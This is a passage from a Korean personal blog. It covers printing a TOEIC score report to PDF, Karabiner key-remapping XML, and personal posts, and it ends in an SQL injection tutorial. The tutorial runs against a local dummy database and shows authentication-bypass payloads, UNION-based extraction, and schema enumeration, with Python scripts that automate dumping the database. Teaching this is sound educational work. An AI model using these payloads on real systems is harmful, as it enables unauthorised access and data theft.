토익 성적표가 필요한데 난 프린터가 없어서.. 이걸 PDF로 소장하기 위해 삽질한 기록을 남겨둔다.

인터넷에 여러가지 팁이 있지만, 어째서인지 그게 Windows 7에선 잘 되는데 Windows 8에서는 안 먹히더라 -_- SPL파일 형식이 열어보니 ZIP + XML형식.. 아무래도 OXPS랑 비슷한 구조를 가지고 있어서 그런듯 한데... 어쨌든 의외의 방법으로 성공했다.

일단 준비물:

  • http://lerup.com/printfile/ (SPL Viewer는 "No PCL and Postscript file! Load anyway" 라고 하면서 안 열리지만 이걸로는 잘 된다)
  • 증명서 발급이 가능한 가짜 프린터(대충 고급 프린터 설정(검색에서 찾으세요) -> 원하는 프린터가 없습니다 -> HP나 Canon에서 아무거나 골라 설치하면 된다).

이제 없는 프린터로 TOEIC 성적표를 출력하려고 하면 오류가 나서 당연히 출력이 되지 않는다. 이 때 C:\Windows\System32\Spool\Printers 에 들어가면 XXXXX.SPL과 같은 SPL파일이 있을텐데, 이걸 아무데나 복사해두고, 인쇄를 취소한 다음 토익 성적표 출력 창을 끄자(이 창이 켜져있는 동안엔 ActiveX가 컴퓨터에 큰 장애를 안겨주어 정상적인 작업이 불가능하다).

그 다음에는 PrintFile을 실행하고 Print File을 클릭한 다음 아까의 SPL파일을 클릭하면 출력 대화 상자가 나타나는데, 이 때 한컴의 PDF프린터가 있다면 그걸로 뽑으면 바로 PDF가 되고, 아니라면 MS XPS 프린터로 XPS/OXPS로 뽑은 다음 적당한 인터넷 사이트나 앱(이를테면 맥의 XPS-to-PDF-Lite라든가)을 찾아서 변환하면 된다(XPS로 갖고있어도 뭐.. 윈도우즈에서만 쓸거라면 상관 없고).

  1. cujun 2017.02.07 16:01

    좋은 정보 감사합니다. ^^*
    윈 10에서 MS pdf, XPS writer 또는 Hancom PDF 전부 기본 저장폴더가 "C:\Users\(사용자이름)\문서" 네요. 저장되는 이름 포맷이 Printfile-~.pdf 꼴이니 참고하세염

  2. 우왕 2017.06.09 18:54

    감사합니다 :)

  3. 감사합니다 2018.06.04 00:16

    완죤 개 꿀팁... 정말 감사드립니다. 덕분에 PDF파일로 다운 받을 수 있게 됐어요 ㅠㅠ

    많은 분들이 이 정보를 알 수 있게되길ㅠㅠ

  4. 이분 천재에요 2018.06.29 23:05

    와 진심 천재에요!! 와 생각을 못했는데 진짜 엔지니어는 다르신것 같아요 ㅠㅠ 이거 윈도우10에도 그대로 적용 됩니다!! 우리나라 왠만한 증명서 발급 시스템에서도 다 먹혀요 ㅋㅋ

개인적으로 맥북 키보드의 기본 키맵은 꽤나 괜찮다고 생각한다. 하지만.. 키 배열이 다른 외장키보드를 연결할 경우 매우 불편해진다.

이를테면 보통 사용되는 한글 키보드의 경우 스페이스 키 왼쪽에는 CONTROL-COMMAND-OPTION 순서로 키가 매핑되는데, 이게 맥북 기본 키보드의 (FN-)CONTROL-OPTION-COMMAND와 다른 점과, 맥북 키보드의 FN키를 외장 키보드에서 누를 방법이 없는 점이 그렇다(Page up/down이야 직접 키를 누르면 된다고 하자, 화면 밝기 조절이나 볼륨 조절 등은?).

이를 해결할 방법을 찾아보니 거의 모든 답변이 키를 리매핑하는 소프트웨어를 이용하는 것이었는데, 직접 해보니 확실히 편리해지긴 했지만, 그 과정에서 약간의 삽질을 했기 때문에 -_-; 다시 헤매는 일이 없도록 내가 사용한 설정법을 간단하게 적어본다.

1. Karabiner 다운로드 및 설치(https://pqrs.org/osx/karabiner/index.html.en).

2. private.xml 위치 찾기

3. 단순한 키 변환 문법(자세히:https://pqrs.org/osx/karabiner/xml.html.en#autogen-syntax)

키를 다른 키로 바꾸기: 

<autogen>__KeyToKey__ KeyCode::CONTROL_L, KeyCode::OPTION_L</autogen>

(왼쪽 CONTROL키를 왼쪽 ALT키로 바꾼다)

키를 다른 키 조합으로 바꾸기: 

<autogen>__KeyToKey__

    KeyCode::OPTION_R,

    KeyCode::SPACE, ModifierFlag::COMMAND_L

</autogen>

(오른쪽 OPTION키를 왼쪽 COMMAND + 스페이스 키로 바꾼다)

키 조합을 다른 키로 바꾸기: 

<!-- LCTRL+LSHIFT+ARROW(R/L) ==> VOLUME UP/DOWN -->

<autogen>__KeyToConsumer__

    KeyCode::CURSOR_RIGHT, ModifierFlag::CONTROL_L | ModifierFlag::SHIFT_L,

    ConsumerKeyCode::VOLUME_UP

</autogen>

<autogen>__KeyToConsumer__

    KeyCode::CURSOR_LEFT, ModifierFlag::CONTROL_L | ModifierFlag::SHIFT_L,

    ConsumerKeyCode::VOLUME_DOWN

</autogen>

  *3개 이상의 키 조합의 경우에는 pipe(|)를 이용한다.

키 조합을 다른 키 조합으로 바꾸기: 

<autogen>__KeyToKey__

    KeyCode::SPACE, ModifierFlag::SHIFT_L,

    KeyCode::SPACE, ModifierFlag::COMMAND_L

</autogen>


4. 디바이스 한정 문법

외장 키보드의 키 리맵이 내장 키보드에까지 영향을 주면 불편하기 때문에 키 리맵을 외장 키보드로 입력하는 경우만으로 제한하면 편리하다.

우선 메뉴 바의 사과마크를 클릭, "이 Mac에 관해서"를 선택한 다음, "시스템 리포트"를 눌러 외장 키보드를 찾는다.

<devicevendordef>

    <vendorname>LEOPOLD</vendorname>

    <vendorid>0x0853</vendorid>

</devicevendordef>

<deviceproductdef>

    <productname>FC660C</productname>

    <productid>0x0134</productid>

</deviceproductdef>

그 다음엔 위와 같이 디바이스와 제조사의 정보를 정의한 다음, 아이템에 device_only를 추가하면 된다.

<item>

        <name>FC660C</name>

        <identifier>private.fc660c</identifier>

        <device_only>DeviceVendor::LEOPOLD,DeviceProduct::FC660C</device_only>

 

        ... (키 리맵 정보들)


</item>

5. 예시

<?xml version="1.0"?>

<root>

 

    <devicevendordef>

        <vendorname>LEOPOLD</vendorname>

        <vendorid>0x0853</vendorid>

    </devicevendordef>

 

    <devicevendordef>

        <vendorname>APPLE</vendorname>

        <vendorid>0x05ac</vendorid>

    </devicevendordef>

 

    <deviceproductdef>

        <productname>FC660C</productname>

        <productid>0x0134</productid>

    </deviceproductdef>

 

    <deviceproductdef>

        <productname>AppleInternal</productname>

        <productid>0x0273</productid>

    </deviceproductdef>

 

    <item>

        <name>FC660C</name>

        <identifier>private.fc660c</identifier>

        <device_only>DeviceVendor::LEOPOLD,DeviceProduct::FC660C</device_only>

 

        <!-- CTRL+SHIFT+ARROW ==> VOLUME UP/DOWN -->

        <autogen>__KeyToConsumer__

            KeyCode::CURSOR_RIGHT, ModifierFlag::CONTROL_L | ModifierFlag::SHIFT_L,

            ConsumerKeyCode::VOLUME_UP

        </autogen>

 

        <autogen>__KeyToConsumer__

            KeyCode::CURSOR_LEFT, ModifierFlag::CONTROL_L | ModifierFlag::SHIFT_L,

            ConsumerKeyCode::VOLUME_DOWN

        </autogen>

 

        <autogen>__KeyToKey__

            KeyCode::OPTION_R,

            KeyCode::SPACE, ModifierFlag::COMMAND_L

        </autogen><!-- Right Option ==> Kor./Eng. Change -->

 

        <autogen>__KeyToKey__ KeyCode::CONTROL_L, KeyCode::OPTION_L</autogen>

        <autogen>__KeyToKey__ KeyCode::OPTION_L, KeyCode::COMMAND_L</autogen>

        <autogen>__KeyToKey__ KeyCode::COMMAND_L, KeyCode::CONTROL_L</autogen>

 

    </item>

 

    <item>

        <name>Apple::Alt.To.Lang.Chng</name>

        <identifier>private.AppleLangChng</identifier>

        <device_only>DeviceVendor::APPLE,DeviceProduct::AppleInternal</device_only>

        <autogen>__KeyToKey__

            KeyCode::OPTION_R,

            KeyCode::SPACE, ModifierFlag::COMMAND_L

        </autogen><!-- Right Option ==> Kor./Eng. Change -->

    </item>

 

</root> 

*여담인데, 문법이 include를 지원하기 때문에 이 설정 역시 dotfile과 함께 git으로 관리해도 편할 것 같다.

드디어 대학 졸업! 4년은 길다면 길고 짧다면 짧았다. 돌아보면 짧았던 쪽에 더 가까운 것 같지만.

4년  후기를 짧게 요약하면: 대학에 다니기를 정말 잘 했다.
조금 더 길게 요약하면: 대학에서 선배들이랑 친구들 덕분에 정말 많은걸 배웠다(갓갓갓님들...).

그리고 대학내내 실력 향상에 큰 도움이 되었던 Baekjoon Online Judge 최고!

'Random' 카테고리의 다른 글

3일간의 행복  (2) 2017.10.09
사실상 헬조선에 태어난게 중죄  (3) 2016.05.18
졸업  (2) 2016.02.16
블로그 꾸미기  (0) 2016.01.16
SW마에스트로 과정 6기 1단계 후기  (2) 2016.01.04
GMail 전달 기능에 대한 불평  (0) 2015.11.03
  1. cujun 2016.02.19 13:51

    축하드려여 2년뒤에 또 졸업이네여ㅎㅎ

    • kcy1019 2016.02.20 19:37 신고

      감사합니다 ㅎㅎ
      이번 학교를 다니는 것도 좋은 선택이 될 수 있도록 열심히 다닙시다!

스킨이 내 맘에 안 들어서 스킨도 수정하고(개인적으로 화면 왼쪽에 내용이 있을 경우 집중이 잘 된다), 지저분하게 많던 카테고리들(아마 1학년 때 만든 것 같은데, 대체 무슨 생각을 하고 만들었던 건지 잘 모르겠을 정도로 세분화되어있어서 보기 싫을 정도로 길었다)도 다 합쳐버리고 하니까 조금 후련하다. 방 청소 한 기분? 요새 '이 블로그는 언제 때려부수고 새로 만들지..' 하고 계속 고민하고 있었는데, 이렇게 고치고 나니 좀 더 오래 써도 되겠다는 생각이 든다.

'Random' 카테고리의 다른 글

사실상 헬조선에 태어난게 중죄  (3) 2016.05.18
졸업  (2) 2016.02.16
블로그 꾸미기  (0) 2016.01.16
SW마에스트로 과정 6기 1단계 후기  (2) 2016.01.04
GMail 전달 기능에 대한 불평  (0) 2015.11.03
새 블로그  (0) 2015.08.08

*2단계는 학업을 위해 과정을 포기했습니다. 그래서 2단계부터는 어떤 느낌인지 잘 모르겠네요.

이 과정을 알게 된 계기는 5기였던 학교 선배 덕분이었다. 형의 후기를 들어보니 솔깃해서 지원하게 됐다. 지원할 당시에 휴학에다가 알바를 하는 중이었어서 반쯤은 심심한 마음이었던 것도 같고.

서류를 낸 다음(만들고 싶은 프로그램이 무엇인가? 어떻게 만들 것인가? 같은 걸 적어야 했다), 기대를 아주 안 했다면 거짓말이겠지만, 별 생각 없이 있다 보니까 집단 토의 면접을 보러 오라고 하고, 또 기술면접을 보러 오라고 하더라. 솔직히 토의 면접은 왜 하는지 전혀 모르겠고(내 주관적 판단일 뿐이지만 반영 비율도 0에 한없이 가까운 것 같다), 기술면접도 꽤나 순조로웠다. 세 명이 한 방에서 프로그램을 작성하고(시간 제한이 30분이었고, IDE는 몇 가지 사용 가능하지만 인터넷을 비롯한 외부 리소스를 참고할 수가 없었다), 각자 그 코드를 가지고 4명 정도의 면접관이 있는 면접실에 들어가는데, 아쉽게도 내가 관심을 가진 분야를 알고있는 분은 면접관 중에 없었다.

또 기대를 조금 가진 채, 잊어갈 때 쯤 최종 합격 소식을 듣고 아싸 개꿀! 하고 몇일 뒤 오리엔테이션 때문에 선릉의 연수센터를 처음 방문했는데, 연수생 대표를 부른다는데 거기에 내 이름이.. -_-;; 아마 랜덤인 것 같은데, 이런 우연이... 알다시피 나는 사회성이 좋지 않은 편이기 때문에 한숨이 나왔다. 여기서의 일은 별로 기억하고싶지 않으니(흑역사;;) 생략.. 오리엔테이션에서 가장 중요한 부분은 프로젝트 설명과 신청이다. 신청을 1지망...n지망으로 적는데, 1지망이라고 무조건 뽑히는 것도 아니니 뭐 알아서 얼굴을 익히든 뭘 하든(멘토에 따라 이런 것과 상관 없이 뽑는 분도 있다) 해야 할 수도 있다.

그렇게 프로젝트를 시작하게 됐고, 1단계 1차는 사실 공부만 열심히 하고 나는 코딩에 거의 참여하지 않았다(지금 생각해보면 왜 그랬는지.. 이땐 좀 지쳤었나). 팀장님 만세!... 한편 2차 프로젝트에서는 열심히 고민은 하는데 나오는 건 없고 힘이 빠지는데 기한은 다가오고, 시간을 더 투자해보고 싶은데 학교 수업으로 인해 그것도 못하고, 학교 수업은 수업대로 시간투자를 못해서 밀리고.. 이도 저도 제대로 못 하는 상황이어서 좀 많이 힘들었다. 뭐 고생이라고 느끼면서도 이렇게 계속 고민을 했던 건 프로젝트가 굉장히 흥미로운 주제였고(지원서에 적은 것과 비슷한 분야를 실제로 이용해보는 흔치 않은 기회), 멘토의 조언과 열심히 하는 팀원들 덕분이었다. 그래서 "기한이 조금 더 길었더라면 정말 좋았을텐데.." 하는 아쉬움이 남기도 했고.

총평: 고생은 해도 어쨌든 실력은 늘긴 늘고, 학교에서 쉽게 해보기 힘든 여러 프로젝트를 멘토의 지도 아래 도전해볼 수 있으며, 팀원들이 어느 정도 걸러진(조별과제와는 다르다 조별과제와는!)돈도 받을 수 있으니(중요!) 이 글을 읽고 있는 여러분도 바쁘지 않다면 해보시라. 정말 정부에서 만든(-들리는 말로는 삼소멤을 벤치마크해서 만들었다고 하긴 하지만-) 프로그램이라곤 믿을수 없을 정도로 좋은 프로그램이니까. 그리고 휴학을 할지 아니면 자신이 원래 자신있는 분야를 선택해서 꿀을 빨지 아니면 고생을 할 지는 여러분의 선택이니 그것만 잘 고민하길. 참고로 난 선릉이 학교에서도 멀고 집에서도 멀어서 고생을 했다..만은 수면실과 개인 책상이 있으니 이들을 잘 사용하면 어떨지.

+2차 프로젝트는 최종 발표(심사)가 있는데, 막상 들어가보니 프로젝트 심사 위원들 중엔 분야의 전문가가 없었다. 기술 질문보다는 기획 질문만 잔뜩.

'Random' 카테고리의 다른 글

졸업  (2) 2016.02.16
블로그 꾸미기  (0) 2016.01.16
SW마에스트로 과정 6기 1단계 후기  (2) 2016.01.04
GMail 전달 기능에 대한 불평  (0) 2015.11.03
새 블로그  (0) 2015.08.08
심해의 조각들  (0) 2015.03.03
  1. 익명 2016.03.05 14:59

    비밀댓글입니다

    • kcy1019 2016.03.05 16:30 신고

      우선 VS는 있기는 했는데 아쉽게도 버전이 기억나지 않는군요.. 저는 JS를 써서 그냥 크롬 콘솔로 코딩을 했거든요. 난이도는 쉬웠습니다. 정말 '문제를 이해하고 코딩을 할 수 있는가' 정도로요(게다가 꼭 문제를 풀어야 한다는 제한은 없기 때문에 만약 완성하지 못했다면 자신이 이러이러하게 작성하려고 했었다~ 라고 면접때 자신의 아이디어를 잘 설명하면 된다더라구요). 그리고 저는 취미나 공부하면서 작성한 프로그램과 약간의 수상경력밖에 없는데 붙을 수 있었고, 주변 사람들을 대충 훑어보면 경진대회 수상이나 대외활동 경험, 혹은 약간의 실무 경력을 갖고계신 분들이 많더라구요. 도움이 됐으면 좋겠네요!


오늘 업무일지중 메일로 된 것들을 후임자에게 넘겨주려고 했는데, GMail은 내 메일을 무슨 짓을 해도 (GMail 시스템 내에서) 내 메일'들'을 다른 곳으로 전달할 수 없게 해 놓았더라.. 분명 이것들은 내 메일인데 내 권리를 박탈당하다니! 마치 메일들이 내 소유가 아닌 Google 소유가 된 것 같은 느낌을 받아서 정말 스트레스를 많이 받았다. 도대체 왜 이렇게 멍청한 짓을 해 놓는지 모르겠다. 보안상의 이유라든가 하는 말은 절대로 핑계가 될 수 없는게, 어차피 Chrome App중에 (신뢰는 가지 않지만-그러므로 오히려 보안상 훨씬 위험하다-) 메일을 전달해주는 앱도 있는데 뭘 -_-..

'Random' 카테고리의 다른 글

블로그 꾸미기  (0) 2016.01.16
SW마에스트로 과정 6기 1단계 후기  (2) 2016.01.04
GMail 전달 기능에 대한 불평  (0) 2015.11.03
새 블로그  (0) 2015.08.08
심해의 조각들  (0) 2015.03.03
옛날 생각  (0) 2014.07.27

새 블로그를 만들었다: http://blog2.lucent.me

기존에 쓰던 글들은 여기에 그대로 쓸 것 같기는 하지만, Python이나 HTTP에 관한 글을 쓰기 위해 새 블로그를 만들어봤다.

http://blog.lucent.me 도 얼른 티스토리를 떠나서 저기처럼 Static Site Generator로 바꾸고 싶다. Markdown 짱짱!

'Random' 카테고리의 다른 글

SW마에스트로 과정 6기 1단계 후기  (2) 2016.01.04
GMail 전달 기능에 대한 불평  (0) 2015.11.03
새 블로그  (0) 2015.08.08
심해의 조각들  (0) 2015.03.03
옛날 생각  (0) 2014.07.27
  (0) 2013.06.23

심심해서 ncurses를 이용해서 팩맨을 짜봤다.
+ Genetic Programming으로 AI도 만들었다!

소스코드: http://github.com/kcy1019/pacman

모바일 배려:http://nbviewer.ipython.org/url/ipy.lucent.me/sqlinjection.ipynb

SQL Injection

May 2015, Changyoung Koh

서문

꽤 많은 경우 우리는 SQL을 이용해서 프로그램을 작성한다.
SQL은 익숙해지면 굉장히 편리하지만, 각별히 주의하지 않으면 심각한 보안 취약점을 갖게 된다는 약점을 가지고 있다.
아래 코드를 보자.

In [1]:
%%writefile sql1.py
#!/usr/bin/python
#-*-coding:utf-8-*-
import MySQLdb
import hashlib

db = MySQLdb.connect("localhost","secutest", "1234!@#$","secutest" )
cursor = db.cursor()

#Setup some dummy data
try:
    cursor.execute('CREATE TABLE Accounts(id VARCHAR(64), password VARCHAR(64))')
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("admin", hashlib.sha1("adminpass").hexdigest()))
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("user1", hashlib.sha1("pass1ssap").hexdigest()))
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("user2", hashlib.sha1("somepassword").hexdigest()))
    db.commit()
except:
    pass

#Get credentials
login_id = raw_input()
login_pw = raw_input()

#Try login
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
data = cursor.fetchone()
if data:
    print 'Success! Welcome %s.' % data[0]
else:
    print 'Failed: check your id - password combination.'

db.close()
Overwriting sql1.py

이 코드에 다음과 같이 옳은 계정 정보를 입력하면 로그인에 성공했다는 메시지를 볼 수 있다.

In [2]:
!echo "admin\nadminpass" | python sql1.py
Success! Welcome admin.

그리고 틀린 계정 정보를 입력하면 로그인에 성공했다는 메시지를 볼 수 있다.

In [3]:
!echo "admin\nadminpass1" | python sql1.py
Failed: check your id - password combination.

하지만 틀린 것도 틀린 것 나름, 이렇게 입력하면..

In [4]:
!echo 'admin" or "1" = "1"#\n' | python sql1.py
Success! Welcome admin.

놀랍게도 로그인에 성공했다는 메시지를 볼 수 있다. 어떻게 된 일인지 쿼리문을 출력해서 확인해보자.

In [5]:
import hashlib
print 'SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % ('admin" or "1" = "1"#', hashlib.sha1("").hexdigest())
SELECT * FROM Accounts WHERE id="admin" or "1" = "1"#" AND password="da39a3ee5e6b4b0d3255bfef95601890afd80709"

MySQL상에서 #은 주석을 뜻한다(파이썬과 같이).
따라서 실제 쿼리문은 # 앞까지가 되는데,
WHERE 뒷 부분을 보면 조건식이 "id==admin 이거나 1==1인 경우" 라는 뜻이기 때문에 무조건 참을 반환하도록 되어있음을 알 수 있다.
따라서 해당 쿼리문은 테이블 내의 모든 계정 정보를 가져오게 되는 것이다.

뭐 "하지만 이렇게 고치면 위와 같은 공격은 무효화되지 않나요?" 라고 할 수도 있는 방안이 몇 가지 있긴 하다.
일단 그중 가장 의미없는 것 부터 살펴보자.

In [ ]:
#... (sql1.py)
#Try login
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
data = cursor.fetchall()
if data and len(data) == 1 and data[0][0] == login_id:
    print 'Success! Welcome %s.' % data[0][0]
else:
    print 'Failed: check your id - password combination.'
#...

이걸 보다보면 아마 금방 떠오를텐데, 더 간단하지만 더 강력한 방법이 있다.

In [6]:
!echo 'admin"#\n' | python sql1.py
Success! Welcome admin.

그래서 보통 이러한 공격을 막을 때에는 특수문자 / SQL 쿼리 예약어 등을 모두 필터링해버리는 방법을 사용한다.
공격이 성공할 경우 정보 유출, 변조, 삭제 등의 위험이 크기 때문에 최대한 확실한 방법을 사용해야 하기 때문이다.

In [ ]:
#... (sql1.py)
#Try login
login_id = MySQLdb.escape_string(login_id)
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
#...
In [7]:
!echo 'admin"#\n' | python sql1.py
Failed: check your id - password combination.

실제 공격 패턴

이제 공격 및 방어에 대한 개략적인 소개는 끝났다.
여기서부터는 해당 공격 방법과 그 활용 범위에 대해 조금 더 살펴보자.

일단 새로운 테이블과 새로운 데이터를 추가하자.
이번에는 앞서 살펴본 로그인 프로그램을 이용해서 아래의 성적 데이터를 유출하는 방법을 알아볼 것이다.

In [8]:
import MySQLdb

db = MySQLdb.connect("localhost","secutest", "1234!@#$","secutest" )
cursor = db.cursor()

cursor.execute('CREATE TABLE Grade(id VARCHAR(64), course VARCHAR(64), grade VARCHAR(64))')
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Artificial Intelligence", "A+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Design Patterns", "B+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Introduction to Algorithm", "C+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Introduction to Algorithm", "A-"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Introduction to Database System", "B-"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Computer Networking", "B+"))

db.commit()
db.close()

SQL에서 다른 테이블의 데이터를 가져오는 방법중 하나는 UNION 연산을 이용하는 것이다.
다음 공격 코드를 보자.

In [9]:
!echo '1" or "1" = "1" union select course,grade from Grade limit 6,1#\n' | python sql1.py
Success! Welcome Introduction to Algorithm.
In [10]:
!echo '1" or "1" = "1" union select grade,course from Grade limit 6,1#\n' | python sql1.py
Success! Welcome A-.

이게 어떻게 된 일인지를 이해하기 위해 실제 MySQL에서 어떤 쿼리를 만들고, 어떤 결과를 반환하는지 살펴보자.

In [11]:
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade'
+-------+------------------------------------------+
| id    | password                                 |
+-------+------------------------------------------+
| admin | 74913f5cd5f61ec0bcfdb775414c2fb3d161b620 |
| user1 | ff0825382c957edd9a49ddef3830c38c094762d6 |
| user2 | f8377c90fcfd699f0ddbdcb30c2c9183d2d933ea |
| A+    | Artificial Intelligence                  |
| B+    | Design Patterns                          |
| C+    | Introduction to Algorithm                |
| A-    | Introduction to Algorithm                |
| B-    | Introduction to Database System          |
| B+    | Computer Networking                      |
+-------+------------------------------------------+

결과를 보면 앞의 세 개는 원래 쿼리의 결과(SELECT * FROM Accounts)이지만
그 아래는 모두 Grade 테이블의 내용임을 알 수 있다.
특히 id 자리에 Grade.gradepassword 자리에 Grade.course가 들어가 있는 것이 특이한데,
다시 쿼리문으로 돌아가면 SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade
grade와 course의 순서가 각각 id와 password의 자리를 나타내고 있다.
따라서 첫번째 커맨드에서는 과목명(course)가 출력되고, 두번째 커맨드에서는 성적(grade)이 id로써 출력된 것이다.
이제 LIMIT까지 포함한 쿼리를 확인해보자.

In [12]:
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade LIMIT 6,1'
+------+---------------------------+
| id   | password                  |
+------+---------------------------+
| A-   | Introduction to Algorithm |
+------+---------------------------+

LIMIT에 두 개의 인자를 주면 첫 번째 인자는 시작 행 번호, 두 번째 인자는 가져올 행 개수를 나타내기 때문에
첫 번째 행의 정보만 출력하는 sql1.py로 원하는 정보를 출력하기 위해서는 첫 번째 행에 원하는 데이터가 가도록 쿼리를 설계해야 한다.
이런 이유로 실제로는 LIMIT만 사용하기보다는 COUNT나 ORDER BY 등의 연산을 함께 사용하는 경우가 많다.
다음 커맨드를 보자.

In [13]:
!echo '" UNION SELECT COUNT(*),"" FROM Accounts#\n' | python sql1.py
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="" UNION SELECT COUNT(*),"" FROM Accounts'
Success! Welcome 3.
+------+----------+
| id   | password |
+------+----------+
| 3    |          |
+------+----------+

이번에는 Accounts 테이블 안에 있는 행의 개수를 가져왔다.
조금 감이 잡혔으니 모든 데이터를 뽑아내보자.

In [14]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

n = int(QueryResult('" UNION SELECT COUNT(*),"" FROM Grade#\n\n'))

for i in xrange(n):
    id = QueryResult('" UNION ALL SELECT id,"" FROM Grade LIMIT %d,1#\n\n' % i)
    course = QueryResult('" UNION ALL SELECT course,"" FROM Grade LIMIT %d,1#\n\n' % i)
    grade = QueryResult('" UNION ALL SELECT grade,"" FROM Grade LIMIT %d,1#\n\n' % i)
    print id, course, grade
user1 Artificial Intelligence A+
user1 Design Patterns B+
user1 Introduction to Algorithm C+
user2 Introduction to Algorithm A-
user2 Introduction to Database System B-
user2 Computer Networking B+

(이번엔 UNION ALL을 이용했는데, 그냥 UNION을 할 경우 DISTINCT를 붙인 것과 같이 중복값이 제거되기 때문이다)

테이블과 컬럼의 정보를 모를 때

지금까지는 테이블과 쿼리의 정보를 모두 아는 상태에서 수행했는데,
이러한 정보가 없을 경우에는 이 정보를 알아내는 것 부터 해야 한다.

처음 해야 할 일은 UNION을 사용하기 위해 원래 select문이 가져오는 열의 수를 알아내는 것이다.

In [15]:
!echo '" order by 1#\n\n' | python sql1.py
!echo '" order by 2#\n\n' | python sql1.py
!echo '" order by 3#\n\n' | python sql1.py
Failed: check your id - password combination.
Failed: check your id - password combination.
Traceback (most recent call last):
  File "sql1.py", line 24, in <module>
    cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/cursors.py", line 205, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/connections.py", line 36, in defaulterrorhandler
    raise errorclass, errorvalue
_mysql_exceptions.OperationalError: (1054, "Unknown column '3' in 'order clause'")

여기서 ORDER BY 3일 때 에러가 처음 발생하는 것으로 보아 이 쿼리문은 2개의 열을 가져오는 것임을 알 수 있다.
매번 이렇게 찾을 수는 없으니 스크립트를 작성해서 찾아보자.

In [16]:
import subprocess as sp

def QueryError(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stderr=sp.PIPE).communicate(query)[1][len('Success! Welcome '):-2]

for i in xrange(1,101):
    if len(QueryError('" ORDER BY %d#\n\n' % i)) > 0:
        print i - 1
        break
2
In [17]:
!echo '" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n' | python sql1.py
!echo '" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 1,1#\n\n' | python sql1.py
Success! Welcome Accounts.
Success! Welcome Grade.

MySQL에선 위와 같은 쿼리를 통해 테이블의 목록을 알 수 있다.
다른 DBMS를 이용할 경우 쿼리가 달라질 수 있는데, Cheat Sheet와 같은 것을 이용하면 쉽게 찾을 수 있다.

이제 테이블을 알아냈으니 컬럼을 확인해보자.

In [18]:
!echo '" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="Grade"#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 0,1#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 1,1#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 2,1#\n\n' | python sql1.py
Success! Welcome 3.
Success! Welcome id.
Success! Welcome course.
Success! Welcome grade.

물론 이것도 실제로 할 땐 프로그램이나 스크립트를 작성하는 것이 현명하다.

In [19]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

def GetTables():
    n = int(QueryResult('" UNION SELECT COUNT(table_name),table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n'))
    return [QueryResult('" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT %d,1#\n\n' % i) for i in xrange(n)]

def GetColumns(table):
    n = int(QueryResult('" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="%s"#\n\n' % table))
    return [QueryResult('" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="%s" LIMIT %d,1#\n\n' % (table, i)) for i in xrange(n)]

for table in GetTables():
    print table, ":", GetColumns(table)
Accounts : ['id', 'password']
Grade : ['id', 'course', 'grade']

그리고 이 스크립트에 아까 스크립트를 추가하면 현재 DB 전체의 내용을 쉽게 얻어낼 수 있다.

In [20]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

def GetTables():
    n = int(QueryResult('" UNION SELECT COUNT(table_name),table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n'))
    return [QueryResult('" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT %d,1#\n\n' % i) for i in xrange(n)]

def GetColumns(table):
